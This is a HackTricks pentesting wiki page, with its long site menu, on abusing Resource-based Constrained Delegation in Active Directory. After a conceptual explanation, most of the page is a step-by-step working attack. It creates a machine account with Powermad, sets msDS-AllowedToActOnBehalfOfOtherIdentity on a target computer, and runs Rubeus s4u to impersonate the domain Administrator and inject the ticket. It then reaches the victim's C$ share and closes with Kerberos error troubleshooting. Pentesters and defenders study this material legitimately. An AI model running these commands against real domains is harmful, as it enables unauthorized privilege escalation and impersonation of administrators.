🤖
hacktricks
  • 👾Welcome!
    • HackTricks
    • HackTricks Values & FAQ
    • About the author
  • 🤩Generic Methodologies & Resources
    • Pentesting Methodology
    • External Recon Methodology
      • Wide Source Code Search
      • Github Dorks & Leaks
    • Pentesting Network
      • DHCPv6
      • EIGRP Attacks
      • GLBP & HSRP Attacks
      • IDS and IPS Evasion
      • Lateral VLAN Segmentation Bypass
      • Network Protocols Explained (ESP)
      • Nmap Summary (ESP)
      • Pentesting IPv6
      • WebRTC DoS
      • Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
      • Spoofing SSDP and UPnP Devices with EvilSSDP
    • Pentesting Wifi
      • Evil Twin EAP-TLS
    • Phishing Methodology
      • Clone a Website
      • Detecting Phishing
      • Phishing Files & Documents
    • Basic Forensic Methodology
      • Baseline Monitoring
      • Anti-Forensic Techniques
      • Docker Forensics
      • Image Acquisition & Mount
      • Linux Forensics
      • Malware Analysis
      • Memory dump analysis
        • Volatility - CheatSheet
      • Partitions/File Systems/Carving
        • File/Data Carving & Recovery Tools
      • Pcap Inspection
        • DNSCat pcap analysis
        • Suricata & Iptables cheatsheet
        • USB Keystrokes
        • Wifi Pcap Analysis
        • Wireshark tricks
      • Specific Software/File-Type Tricks
        • Decompile compiled python binaries (exe, elf) - Retreive from .pyc
        • Browser Artifacts
        • Deofuscation vbs (cscript.exe)
        • Local Cloud Storage
        • Office file analysis
        • PDF File analysis
        • PNG tricks
        • Video and Audio file analysis
        • ZIPs tricks
      • Windows Artifacts
        • Interesting Windows Registry Keys
    • Brute Force - CheatSheet
    • Python Sandbox Escape & Pyscript
      • Bypass Python sandboxes
        • LOAD_NAME / LOAD_CONST opcode OOB Read
      • Class Pollution (Python's Prototype Pollution)
      • Python Internal Read Gadgets
      • Pyscript
      • venv
      • Web Requests
      • Bruteforce hash (few chars)
      • Basic Python
    • Exfiltration
    • Tunneling and Port Forwarding
    • Threat Modeling
    • Search Exploits
    • Reverse Shells (Linux, Windows, MSFVenom)
      • MSFVenom - CheatSheet
      • Reverse Shells - Windows
      • Reverse Shells - Linux
      • Full TTYs
  • 🐧Linux Hardening
    • Checklist - Linux Privilege Escalation
    • Linux Privilege Escalation
      • Arbitrary File Write to Root
      • Cisco - vmanage
      • Containerd (ctr) Privilege Escalation
      • D-Bus Enumeration & Command Injection Privilege Escalation
      • Docker Security
        • Abusing Docker Socket for Privilege Escalation
        • AppArmor
        • AuthZ& AuthN - Docker Access Authorization Plugin
        • CGroups
        • Docker --privileged
        • Docker Breakout / Privilege Escalation
          • release_agent exploit - Relative Paths to PIDs
          • Docker release_agent cgroups escape
          • Sensitive Mounts
        • Namespaces
          • CGroup Namespace
          • IPC Namespace
          • PID Namespace
          • Mount Namespace
          • Network Namespace
          • Time Namespace
          • User Namespace
          • UTS Namespace
        • Seccomp
        • Weaponizing Distroless
      • Escaping from Jails
      • euid, ruid, suid
      • Interesting Groups - Linux Privesc
        • lxd/lxc Group - Privilege escalation
      • Logstash
      • ld.so privesc exploit example
      • Linux Active Directory
      • Linux Capabilities
      • NFS no_root_squash/no_all_squash misconfiguration PE
      • Node inspector/CEF debug abuse
      • Payloads to execute
      • RunC Privilege Escalation
      • SELinux
      • Socket Command Injection
      • Splunk LPE and Persistence
      • SSH Forward Agent exploitation
      • Wildcards Spare tricks
    • Useful Linux Commands
    • Bypass Linux Restrictions
      • Bypass FS protections: read-only / no-exec / Distroless
        • DDexec / EverythingExec
    • Linux Environment Variables
    • Linux Post-Exploitation
      • PAM - Pluggable Authentication Modules
    • FreeIPA Pentesting
  • 🍏MacOS Hardening
    • macOS Security & Privilege Escalation
      • macOS Apps - Inspecting, debugging and Fuzzing
        • Objects in memory
        • Introduction to x64
        • Introduction to ARM64v8
      • macOS AppleFS
      • macOS Bypassing Firewalls
      • macOS Defensive Apps
      • macOS GCD - Grand Central Dispatch
      • macOS Kernel & System Extensions
        • macOS IOKit
        • macOS Kernel Extensions & Debugging
        • macOS Kernel Vulnerabilities
        • macOS System Extensions
      • macOS Network Services & Protocols
      • macOS File Extension & URL scheme app handlers
      • macOS Files, Folders, Binaries & Memory
        • macOS Bundles
        • macOS Installers Abuse
        • macOS Memory Dumping
        • macOS Sensitive Locations & Interesting Daemons
        • macOS Universal binaries & Mach-O Format
      • macOS Objective-C
      • macOS Privilege Escalation
      • macOS Process Abuse
        • macOS Dirty NIB
        • macOS Chromium Injection
        • macOS Electron Applications Injection
        • macOS Function Hooking
        • macOS IPC - Inter Process Communication
          • macOS MIG - Mach Interface Generator
          • macOS XPC
            • macOS XPC Authorization
            • macOS XPC Connecting Process Check
              • macOS PID Reuse
              • macOS xpc_connection_get_audit_token Attack
          • macOS Thread Injection via Task port
        • macOS Java Applications Injection
        • macOS Library Injection
          • macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
          • macOS Dyld Process
        • macOS Perl Applications Injection
        • macOS Python Applications Injection
        • macOS Ruby Applications Injection
        • macOS .Net Applications Injection
      • macOS Security Protections
        • macOS Gatekeeper / Quarantine / XProtect
        • macOS Launch/Environment Constraints & Trust Cache
        • macOS Sandbox
          • macOS Default Sandbox Debug
          • macOS Sandbox Debug & Bypass
            • macOS Office Sandbox Bypasses
        • macOS Authorizations DB & Authd
        • macOS SIP
        • macOS TCC
          • macOS Apple Events
          • macOS TCC Bypasses
            • macOS Apple Scripts
          • macOS TCC Payloads
        • macOS Dangerous Entitlements & TCC perms
        • macOS - AMFI - AppleMobileFileIntegrity
        • macOS MACF - Mandatory Access Control Framework
        • macOS Code Signing
        • macOS FS Tricks
          • macOS xattr-acls extra stuff
      • macOS Users & External Accounts
    • macOS Red Teaming
      • macOS MDM
        • Enrolling Devices in Other Organisations
        • macOS Serial Number
      • macOS Keychain
    • macOS Useful Commands
    • macOS Auto Start
  • 🪟Windows Hardening
    • Checklist - Local Windows Privilege Escalation
    • Windows Local Privilege Escalation
      • Abusing Tokens
      • Access Tokens
      • ACLs - DACLs/SACLs/ACEs
      • AppendData/AddSubdirectory permission over service registry
      • Create MSI with WIX
      • COM Hijacking
      • Dll Hijacking
        • Writable Sys Path +Dll Hijacking Privesc
      • DPAPI - Extracting Passwords
      • From High Integrity to SYSTEM with Name Pipes
      • Integrity Levels
      • JuicyPotato
      • Leaked Handle Exploitation
      • MSI Wrapper
      • Named Pipe Client Impersonation
      • Privilege Escalation with Autoruns
      • RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
      • SeDebug + SeImpersonate copy token
      • SeImpersonate from High To System
      • Windows C Payloads
    • Active Directory Methodology
      • Abusing Active Directory ACLs/ACEs
        • Shadow Credentials
      • AD Certificates
        • AD CS Account Persistence
        • AD CS Domain Escalation
        • AD CS Domain Persistence
        • AD CS Certificate Theft
      • AD information in printers
      • AD DNS Records
      • ASREPRoast
      • BloodHound & Other AD Enum Tools
      • Constrained Delegation
      • Custom SSP
      • DCShadow
      • DCSync
      • Diamond Ticket
      • DSRM Credentials
      • External Forest Domain - OneWay (Inbound) or bidirectional
      • External Forest Domain - One-Way (Outbound)
      • Golden Ticket
      • Kerberoast
      • Kerberos Authentication
      • Kerberos Double Hop Problem
      • LAPS
      • MSSQL AD Abuse
      • Over Pass the Hash/Pass the Key
      • Pass the Ticket
      • Password Spraying / Brute Force
      • PrintNightmare
      • Force NTLM Privileged Authentication
      • Privileged Groups
      • RDP Sessions Abuse
      • Resource-based Constrained Delegation
      • Security Descriptors
      • SID-History Injection
      • Silver Ticket
      • Skeleton Key
      • Unconstrained Delegation
    • Windows Security Controls
      • UAC - User Account Control
    • NTLM
      • Places to steal NTLM creds
    • Lateral Movement
      • AtExec / SchtasksExec
      • DCOM Exec
      • PsExec/Winexec/ScExec
      • SmbExec/ScExec
      • WinRM
      • WmiExec
    • Pivoting to the Cloud
    • Stealing Windows Credentials
      • Windows Credentials Protections
      • Mimikatz
      • WTS Impersonator
    • Basic Win CMD for Pentesters
    • Basic PowerShell for Pentesters
      • PowerView/SharpView
    • Antivirus (AV) Bypass
  • 📱Mobile Pentesting
    • Android APK Checklist
    • Android Applications Pentesting
      • Android Applications Basics
      • Android Task Hijacking
      • ADB Commands
      • APK decompilers
      • AVD - Android Virtual Device
      • Bypass Biometric Authentication (Android)
      • content:// protocol
      • Drozer Tutorial
        • Exploiting Content Providers
      • Exploiting a debuggeable application
      • Frida Tutorial
        • Frida Tutorial 1
        • Frida Tutorial 2
        • Frida Tutorial 3
        • Objection Tutorial
      • Google CTF 2018 - Shall We Play a Game?
      • Install Burp Certificate
      • Intent Injection
      • Make APK Accept CA Certificate
      • Manual DeObfuscation
      • React Native Application
      • Reversing Native Libraries
      • Smali - Decompiling/[Modifying]/Compiling
      • Spoofing your location in Play Store
      • Tapjacking
      • Webview Attacks
    • iOS Pentesting Checklist
    • iOS Pentesting
      • iOS App Extensions
      • iOS Basics
      • iOS Basic Testing Operations
      • iOS Burp Suite Configuration
      • iOS Custom URI Handlers / Deeplinks / Custom Schemes
      • iOS Extracting Entitlements From Compiled Application
      • iOS Frida Configuration
      • iOS Hooking With Objection
      • iOS Protocol Handlers
      • iOS Serialisation and Encoding
      • iOS Testing Environment
      • iOS UIActivity Sharing
      • iOS Universal Links
      • iOS UIPasteboard
      • iOS WebViews
    • Cordova Apps
    • Xamarin Apps
  • 👽Network Services Pentesting
    • Pentesting JDWP - Java Debug Wire Protocol
    • Pentesting Printers
    • Pentesting SAP
    • Pentesting VoIP
      • Basic VoIP Protocols
        • SIP (Session Initiation Protocol)
    • Pentesting Remote GdbServer
    • 7/tcp/udp - Pentesting Echo
    • 21 - Pentesting FTP
      • FTP Bounce attack - Scan
      • FTP Bounce - Download 2ºFTP file
    • 22 - Pentesting SSH/SFTP
    • 23 - Pentesting Telnet
    • 25,465,587 - Pentesting SMTP/s
      • SMTP Smuggling
      • SMTP - Commands
    • 43 - Pentesting WHOIS
    • 49 - Pentesting TACACS+
    • 53 - Pentesting DNS
    • 69/UDP TFTP/Bittorrent-tracker
    • 79 - Pentesting Finger
    • 80,443 - Pentesting Web Methodology
      • 403 & 401 Bypasses
      • AEM - Adobe Experience Cloud
      • Angular
      • Apache
      • Artifactory Hacking guide
      • Bolt CMS
      • Buckets
        • Firebase Database
      • CGI
      • DotNetNuke (DNN)
      • Drupal
        • Drupal RCE
      • Electron Desktop Apps
        • Electron contextIsolation RCE via preload code
        • Electron contextIsolation RCE via Electron internal code
        • Electron contextIsolation RCE via IPC
      • Flask
      • NodeJS Express
      • Git
      • Golang
      • GWT - Google Web Toolkit
      • Grafana
      • GraphQL
      • H2 - Java SQL database
      • IIS - Internet Information Services
      • ImageMagick Security
      • JBOSS
      • Jira & Confluence
      • Joomla
      • JSP
      • Laravel
      • Moodle
      • Nginx
      • NextJS
      • PHP Tricks
        • PHP - Useful Functions & disable_functions/open_basedir bypass
          • disable_functions bypass - php-fpm/FastCGI
          • disable_functions bypass - dl function
          • disable_functions bypass - PHP 7.0-7.4 (*nix only)
          • disable_functions bypass - Imagick <= 3.3.0 PHP >= 5.4 Exploit
          • disable_functions - PHP 5.x Shellshock Exploit
          • disable_functions - PHP 5.2.4 ionCube extension Exploit
          • disable_functions bypass - PHP <= 5.2.9 on windows
          • disable_functions bypass - PHP 5.2.4 and 5.2.5 PHP cURL
          • disable_functions bypass - PHP safe_mode bypass via proc_open() and custom environment Exploit
          • disable_functions bypass - PHP Perl Extension Safe_mode Bypass Exploit
          • disable_functions bypass - PHP 5.2.3 - Win32std ext Protections Bypass
          • disable_functions bypass - PHP 5.2 - FOpen Exploit
          • disable_functions bypass - via mem
          • disable_functions bypass - mod_cgi
          • disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec
        • PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
        • PHP SSRF
      • PrestaShop
      • Python
      • Rocket Chat
      • Special HTTP headers
      • Source code Review / SAST Tools
      • Spring Actuators
      • Symfony
      • Tomcat
        • Basic Tomcat Info
      • Uncovering CloudFlare
      • VMWare (ESX, VCenter...)
      • Web API Pentesting
      • WebDav
      • Werkzeug / Flask Debug
      • Wordpress
    • 88tcp/udp - Pentesting Kerberos
      • Harvesting tickets from Windows
      • Harvesting tickets from Linux
    • 110,995 - Pentesting POP
    • 111/TCP/UDP - Pentesting Portmapper
    • 113 - Pentesting Ident
    • 123/udp - Pentesting NTP
    • 135, 593 - Pentesting MSRPC
    • 137,138,139 - Pentesting NetBios
    • 139,445 - Pentesting SMB
      • rpcclient enumeration
    • 143,993 - Pentesting IMAP
    • 161,162,10161,10162/udp - Pentesting SNMP
      • Cisco SNMP
      • SNMP RCE
    • 194,6667,6660-7000 - Pentesting IRC
    • 264 - Pentesting Check Point FireWall-1
    • 389, 636, 3268, 3269 - Pentesting LDAP
    • 500/udp - Pentesting IPsec/IKE VPN
    • 502 - Pentesting Modbus
    • 512 - Pentesting Rexec
    • 513 - Pentesting Rlogin
    • 514 - Pentesting Rsh
    • 515 - Pentesting Line Printer Daemon (LPD)
    • 548 - Pentesting Apple Filing Protocol (AFP)
    • 554,8554 - Pentesting RTSP
    • 623/UDP/TCP - IPMI
    • 631 - Internet Printing Protocol(IPP)
    • 700 - Pentesting EPP
    • 873 - Pentesting Rsync
    • 1026 - Pentesting Rusersd
    • 1080 - Pentesting Socks
    • 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
    • 1414 - Pentesting IBM MQ
    • 1433 - Pentesting MSSQL - Microsoft SQL Server
      • Types of MSSQL Users
    • 1521,1522-1529 - Pentesting Oracle TNS Listener
    • 1723 - Pentesting PPTP
    • 1883 - Pentesting MQTT (Mosquitto)
    • 2049 - Pentesting NFS Service
    • 2301,2381 - Pentesting Compaq/HP Insight Manager
    • 2375, 2376 Pentesting Docker
    • 3128 - Pentesting Squid
    • 3260 - Pentesting ISCSI
    • 3299 - Pentesting SAPRouter
    • 3306 - Pentesting Mysql
    • 3389 - Pentesting RDP
    • 3632 - Pentesting distcc
    • 3690 - Pentesting Subversion (svn server)
    • 3702/UDP - Pentesting WS-Discovery
    • 4369 - Pentesting Erlang Port Mapper Daemon (epmd)
    • 4786 - Cisco Smart Install
    • 4840 - OPC Unified Architecture
    • 5000 - Pentesting Docker Registry
    • 5353/UDP Multicast DNS (mDNS) and DNS-SD
    • 5432,5433 - Pentesting Postgresql
    • 5439 - Pentesting Redshift
    • 5555 - Android Debug Bridge
    • 5601 - Pentesting Kibana
    • 5671,5672 - Pentesting AMQP
    • 5800,5801,5900,5901 - Pentesting VNC
    • 5984,6984 - Pentesting CouchDB
    • 5985,5986 - Pentesting WinRM
    • 5985,5986 - Pentesting OMI
    • 6000 - Pentesting X11
    • 6379 - Pentesting Redis
    • 8009 - Pentesting Apache JServ Protocol (AJP)
    • 8086 - Pentesting InfluxDB
    • 8089 - Pentesting Splunkd
    • 8333,18333,38333,18444 - Pentesting Bitcoin
    • 9000 - Pentesting FastCGI
    • 9001 - Pentesting HSQLDB
    • 9042/9160 - Pentesting Cassandra
    • 9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream)
    • 9200 - Pentesting Elasticsearch
    • 10000 - Pentesting Network Data Management Protocol (ndmp)
    • 11211 - Pentesting Memcache
      • Memcache Commands
    • 15672 - Pentesting RabbitMQ Management
    • 24007,24008,24009,49152 - Pentesting GlusterFS
    • 27017,27018 - Pentesting MongoDB
    • 44134 - Pentesting Tiller (Helm)
    • 44818/UDP/TCP - Pentesting EthernetIP
    • 47808/udp - Pentesting BACNet
    • 50030,50060,50070,50075,50090 - Pentesting Hadoop
  • 🕸️Pentesting Web
    • Web Vulnerabilities Methodology
    • Reflecting Techniques - PoCs and Polygloths CheatSheet
      • Web Vulns List
    • 2FA/MFA/OTP Bypass
    • Account Takeover
    • Browser Extension Pentesting Methodology
      • BrowExt - ClickJacking
      • BrowExt - permissions & host_permissions
      • BrowExt - XSS Example
    • Bypass Payment Process
    • Captcha Bypass
    • Cache Poisoning and Cache Deception
      • Cache Poisoning via URL discrepancies
      • Cache Poisoning to DoS
    • Clickjacking
    • Client Side Template Injection (CSTI)
    • Client Side Path Traversal
    • Command Injection
    • Content Security Policy (CSP) Bypass
      • CSP bypass: self + 'unsafe-inline' with Iframes
    • Cookies Hacking
      • Cookie Tossing
      • Cookie Jar Overflow
      • Cookie Bomb
    • CORS - Misconfigurations & Bypass
    • CRLF (%0D%0A) Injection
    • CSRF (Cross Site Request Forgery)
    • Dangling Markup - HTML scriptless injection
      • SS-Leaks
    • Dependency Confusion
    • Deserialization
      • NodeJS - __proto__ & prototype Pollution
        • Client Side Prototype Pollution
        • Express Prototype Pollution Gadgets
        • Prototype Pollution to RCE
      • Java JSF ViewState (.faces) Deserialization
      • Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
      • Basic Java Deserialization (ObjectInputStream, readObject)
      • PHP - Deserialization + Autoload Classes
      • CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
      • Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
      • Exploiting __VIEWSTATE knowing the secrets
      • Exploiting __VIEWSTATE without knowing the secrets
      • Python Yaml Deserialization
      • JNDI - Java Naming and Directory Interface & Log4Shell
      • Ruby Class Pollution
    • Domain/Subdomain takeover
    • Email Injections
    • File Inclusion/Path traversal
      • phar:// deserialization
      • LFI2RCE via PHP Filters
      • LFI2RCE via Nginx temp files
      • LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
      • LFI2RCE via Segmentation Fault
      • LFI2RCE via phpinfo()
      • LFI2RCE Via temp file uploads
      • LFI2RCE via Eternal waiting
      • LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
    • File Upload
      • PDF Upload - XXE and CORS bypass
    • Formula/CSV/Doc/LaTeX/GhostScript Injection
    • gRPC-Web Pentest
    • HTTP Connection Contamination
    • HTTP Connection Request Smuggling
    • HTTP Request Smuggling / HTTP Desync Attack
      • Browser HTTP Request Smuggling
      • Request Smuggling in HTTP/2 Downgrades
    • HTTP Response Smuggling / Desync
    • Upgrade Header Smuggling
    • hop-by-hop headers
    • IDOR
    • JWT Vulnerabilities (Json Web Tokens)
    • LDAP Injection
    • Login Bypass
      • Login bypass List
    • NoSQL injection
    • OAuth to Account takeover
    • Open Redirect
    • ORM Injection
    • Parameter Pollution
    • Phone Number Injections
    • PostMessage Vulnerabilities
      • Blocking main page to steal postmessage
      • Bypassing SOP with Iframes - 1
      • Bypassing SOP with Iframes - 2
      • Steal postmessage modifying iframe location
    • Proxy / WAF Protections Bypass
    • Race Condition
    • Rate Limit Bypass
    • Registration & Takeover Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • Reverse Tab Nabbing
    • SAML Attacks
      • SAML Basics
    • Server Side Inclusion/Edge Side Inclusion Injection
    • SQL Injection
      • MS Access SQL Injection
      • MSSQL Injection
      • MySQL injection
        • MySQL File priv to SSRF/RCE
      • Oracle injection
      • Cypher Injection (neo4j)
      • PostgreSQL injection
        • dblink/lo_import data exfiltration
        • PL/pgSQL Password Bruteforce
        • Network - Privesc, Port Scanner and NTLM chanllenge response disclosure
        • Big Binary Files Upload (PostgreSQL)
        • RCE with PostgreSQL Languages
        • RCE with PostgreSQL Extensions
      • SQLMap - CheatSheet
        • Second Order Injection - SQLMap
    • SSRF (Server Side Request Forgery)
      • URL Format Bypass
      • SSRF Vulnerable Platforms
      • Cloud SSRF
    • SSTI (Server Side Template Injection)
      • EL - Expression Language
      • Jinja2 SSTI
    • Timing Attacks
    • Unicode Injection
      • Unicode Normalization
    • UUID Insecurities
    • WebSocket Attacks
    • Web Tool - WFuzz
    • XPATH injection
    • XSLT Server Side Injection (Extensible Stylesheet Language Transformations)
    • XXE - XEE - XML External Entity
    • XSS (Cross Site Scripting)
      • Abusing Service Workers
      • Chrome Cache to XSS
      • Debugging Client Side JS
      • Dom Clobbering
      • DOM Invader
      • DOM XSS
      • Iframes in XSS, CSP and SOP
      • Integer Overflow
      • JS Hoisting
      • Misc JS Tricks & Relevant Info
      • PDF Injection
      • Server Side XSS (Dynamic PDF)
      • Shadow DOM
      • SOME - Same Origin Method Execution
      • Sniff Leak
      • Steal Info JS
      • XSS in Markdown
    • XSSI (Cross-Site Script Inclusion)
    • XS-Search/XS-Leaks
      • Connection Pool Examples
      • Connection Pool by Destination Example
      • Cookie Bomb + Onerror XS Leak
      • URL Max Length - Client Side
      • performance.now example
      • performance.now + Force heavy task
      • Event Loop Blocking + Lazy images
      • JavaScript Execution XS Leak
      • CSS Injection
        • CSS Injection Code
    • Iframe Traps
  • ⛈️Cloud Security
    • Pentesting Kubernetes
    • Pentesting Cloud (AWS, GCP, Az...)
    • Pentesting CI/CD (Github, Jenkins, Terraform...)
  • 😎Hardware/Physical Access
    • Physical Attacks
    • Escaping from KIOSKs
    • Firmware Analysis
      • Bootloader testing
      • Firmware Integrity
  • 🎯Binary Exploitation
    • Basic Stack Binary Exploitation Methodology
      • ELF Basic Information
      • Exploiting Tools
        • PwnTools
    • Stack Overflow
      • Pointer Redirecting
      • Ret2win
        • Ret2win - arm64
      • Stack Shellcode
        • Stack Shellcode - arm64
      • Stack Pivoting - EBP2Ret - EBP chaining
      • Uninitialized Variables
    • ROP - Return Oriented Programing
      • BROP - Blind Return Oriented Programming
      • Ret2csu
      • Ret2dlresolve
      • Ret2esp / Ret2reg
      • Ret2lib
        • Leaking libc address with ROP
          • Leaking libc - template
        • One Gadget
        • Ret2lib + Printf leak - arm64
      • Ret2syscall
        • Ret2syscall - ARM64
      • Ret2vDSO
      • SROP - Sigreturn-Oriented Programming
        • SROP - ARM64
    • Array Indexing
    • Integer Overflow
    • Format Strings
      • Format Strings - Arbitrary Read Example
      • Format Strings Template
    • Libc Heap
      • Bins & Memory Allocations
      • Heap Memory Functions
        • free
        • malloc & sysmalloc
        • unlink
        • Heap Functions Security Checks
      • Use After Free
        • First Fit
      • Double Free
      • Overwriting a freed chunk
      • Heap Overflow
      • Unlink Attack
      • Fast Bin Attack
      • Unsorted Bin Attack
      • Large Bin Attack
      • Tcache Bin Attack
      • Off by one overflow
      • House of Spirit
      • House of Lore | Small bin Attack
      • House of Einherjar
      • House of Force
      • House of Orange
      • House of Rabbit
      • House of Roman
    • Common Binary Exploitation Protections & Bypasses
      • ASLR
        • Ret2plt
        • Ret2ret & Reo2pop
      • CET & Shadow Stack
      • Libc Protections
      • Memory Tagging Extension (MTE)
      • No-exec / NX
      • PIE
        • BF Addresses in the Stack
      • Relro
      • Stack Canaries
        • BF Forked & Threaded Stack Canaries
        • Print Stack Canary
    • Write What Where 2 Exec
      • WWW2Exec - atexit()
      • WWW2Exec - .dtors & .fini_array
      • WWW2Exec - GOT/PLT
      • WWW2Exec - __malloc_hook & __free_hook
    • Common Exploiting Problems
    • Windows Exploiting (Basic Guide - OSCP lvl)
    • iOS Exploiting
  • 🔩Reversing
    • Reversing Tools & Basic Methods
      • Angr
        • Angr - Examples
      • Z3 - Satisfiability Modulo Theories (SMT)
      • Cheat Engine
      • Blobrunner
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Powered by GitBook
On this page
  • Basics of Resource-based Constrained Delegation
  • New Concepts
  • Attack structure
  • Attack
  • Creating a Computer Object
  • Configuring Resource-based Constrained Delegation
  • Performing a complete S4U attack
  • Accessing
  • Abuse different service tickets
  • Kerberos Errors
  • References
Edit on GitHub
  1. Windows Hardening
  2. Active Directory Methodology

Resource-based Constrained Delegation

PreviousRDP Sessions AbuseNextSecurity Descriptors

Last updated 7 months ago

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Basics of Resource-based Constrained Delegation

In this case, the constrained object will have an attribute called msDS-AllowedToActOnBehalfOfOtherIdentity with the name of the user that can impersonate any other user against it.

Another important difference from this Constrained Delegation to the other delegations is that any user with write permissions over a machine account (GenericAll/GenericWrite/WriteDacl/WriteProperty/etc) can set the msDS-AllowedToActOnBehalfOfOtherIdentity (In the other forms of Delegation you needed domain admin privs).

New Concepts

Back in Constrained Delegation it was told that the TrustedToAuthForDelegation flag inside the userAccountControl value of the user is needed to perform a S4U2Self. But that's not completely truth. The reality is that even without that value, you can perform a S4U2Self against any user if you are a service (have a SPN) but, if you have TrustedToAuthForDelegation the returned TGS will be Forwardable and if you don't have that flag the returned TGS won't be Forwardable.

However, if the TGS used in S4U2Proxy is NOT Forwardable trying to abuse a basic Constrain Delegation it won't work. But if you are trying to exploit a Resource-Based constrain delegation, it will work (this is not a vulnerability, it's a feature, apparently).

Attack structure

If you have write equivalent privileges over a Computer account you can obtain privileged access in that machine.

Suppose that the attacker has already write equivalent privileges over the victim computer.

  1. The attacker compromises an account that has a SPN or creates one (“Service A”). Note that any Admin User without any other special privilege can create up until 10 Computer objects (MachineAccountQuota) and set them a SPN. So the attacker can just create a Computer object and set a SPN.

  2. The attacker abuses its WRITE privilege over the victim computer (ServiceB) to configure resource-based constrained delegation to allow ServiceA to impersonate any user against that victim computer (ServiceB).

  3. The attacker uses Rubeus to perform a full S4U attack (S4U2Self and S4U2Proxy) from Service A to Service B for a user with privileged access to Service B.

    1. S4U2Self (from the SPN compromised/created account): Ask for a TGS of Administrator to me (Not Forwardable).

    2. S4U2Proxy: Use the not Forwardable TGS of the step before to ask for a TGS from Administrator to the victim host.

    3. Even if you are using a not Forwardable TGS, as you are exploiting Resource-based constrained delegation, it will work.

  4. The attacker can pass-the-ticket and impersonate the user to gain access to the victim ServiceB.

To check the MachineAccountQuota of the domain you can use:

Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota

Attack

Creating a Computer Object

import-module powermad
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

# Check if created
Get-DomainComputer SERVICEA

Configuring Resource-based Constrained Delegation

Using activedirectory PowerShell module

Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked

Using powerview

$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $targetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

#Check that it worked
Get-DomainComputer $targetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity'

msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}

Performing a complete S4U attack

First of all, we created the new Computer object with the password 123456, so we need the hash of that password:

.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local

This will print the RC4 and AES hashes for that account. Now, the attack can be performed:

rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt

You can generate more tickets just asking once using the /altservice param of Rubeus:

rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt

Note that users has an attribute called "Cannot be delegated". If a user has this attribute to True, you won't be able to impersonate him . This property can be seen inside bloodhound.

Accessing

The last command line will perform the complete S4U attack and will inject the TGS from Administrator to the victim host in memory. In this example it was requested a TGS for the CIFS service from Administrator, so you will be able to access C$:

ls \\victim.domain.local\C$

Abuse different service tickets

Kerberos Errors

  • KDC_ERR_ETYPE_NOTSUPP: This means that kerberos is configured to not use DES or RC4 and you are supplying just the RC4 hash. Supply to Rubeus at least the AES256 hash (or just supply it the rc4, aes128 and aes256 hashes). Example: [Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())

  • KRB_AP_ERR_SKEW: This means that the time of the current computer is different from the one of the DC and kerberos is not working properly.

  • preauth_failed: This means that the given username + hashes aren't working to login. You may have forgotten to put the "$" inside the username when generating the hashes (.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local)

  • KDC_ERR_BADOPTION: This may mean:

    • The user you are trying to impersonate cannot access the desired service (because you cannot impersonate it or because it doesn't have enough privileges)

    • The asked service doesn't exist (if you ask for a ticket for winrm but winrm isn't running)

    • The fakecomputer created has lost it's privileges over the vulnerable server and you need to given them back.

References

Support HackTricks

This is similar to the basic but instead of giving permissions to an object to impersonate any user against a service. Resource-based Constrain Delegation sets in the object who is able to impersonate any user against it.

You can create a computer object inside the domain using :

Lear about the .

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Check the !

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🪟
Constrained Delegation
powermad
https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object
https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/
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